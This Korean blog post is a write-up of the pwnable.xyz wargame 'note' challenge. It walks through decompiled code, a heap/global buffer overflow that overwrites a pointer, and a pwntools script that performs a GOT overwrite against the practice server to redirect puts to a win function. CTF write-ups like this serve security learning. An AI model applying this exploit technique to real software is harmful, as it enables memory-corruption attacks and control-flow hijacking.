Pwnstar
Pwnable.xyz note 본문
어우 진짜 정감 안가는 heap 문제가 나왔다.
보호기법은 카나리와 NX bit만이 걸려있고, 64비트 바이너리이다.
실행시켜보면 메뉴는 종료 이외에 딱 두 개 밖에 더 없다. IDA 디컴파일 코드와 같이 보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
int v4; // eax
setup(*(_QWORD *)&argc, argv, envp);
v3 = "Note taking 101.";
puts("Note taking 101.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu(v3);
v4 = read_int32();
if ( v4 != 1 )
break;
edit_note();
}
if ( v4 != 2 )
break;
edit_desc();
}
if ( !v4 )
break;
v3 = "Invalid";
puts("Invalid");
}
return 0;
}
edit note와 edit desc인데,
노트의 길이를 입력받고 그 길이만큼 내용을 입력할 수 있다.
void edit_note()
{
int v0; // ST04_4
void *buf; // ST08_8
printf("Note len? ");
v0 = read_int32();
buf = malloc(v0);
printf("note: ");
read(0, buf, v0);
strncpy(s, (const char *)buf, v0);
free(buf);
}
코드를 보면 이후에 strncpy함수로 buf에서 전역변수 s로 복사를 진행한다.
edit desc 메뉴는 32바이트만큼 문자열을 buf 전역변수에 입력할 수 있다.
ssize_t edit_desc()
{
if ( !buf )
buf = malloc(32uLL);
printf("desc: ");
return read(0, buf, 32uLL);
}
취약점은 edit note 메뉴에서 발생한다. s전역변수 +32의 위치에 buf변수가 존재하는데, edit note 메뉴에서 노트의 길이를 입력하는 부분에 제한이 없다.
즉 32바이트를 넘어서 buf에도 입력할 수 있다는 소리다.
마침 got overwrite가 가능하니 32바이트의 dummy를 넣어주고 puts같은 함수의 got를 넣어주고, 마침 또 플래그를 볼 수 있는 win 함수까지 주어지는 환경이니 edit desc 메뉴를 이용해 win함수의 주소를 입력해주면 다음번 puts가 실행될 때 win 함수가 대싱 실행될 것이다.
ex.py
from pwn import*
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30016)
puts_got = 0x601220
win = 0x40093C
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("Note len? ")
p.sendline("41")
p.recvuntil("note: ")
payload = "A"*32
payload += p64(puts_got)
p.sendline(payload)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("desc: ")
payload = p64(win)
p.sendline(payload)
p.recvuntil("> ")
p.sendline("8")
p.interactive()
끗!!
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz two_targets (0) | 2020.11.16 |
---|---|
pwnable.xyz xor (0) | 2020.11.13 |
Pwnable.xyz GrownUp (0) | 2020.11.12 |
Pwnable.xyz misalignment (0) | 2020.11.09 |
Pwnable.xyz add (0) | 2020.11.09 |
Comments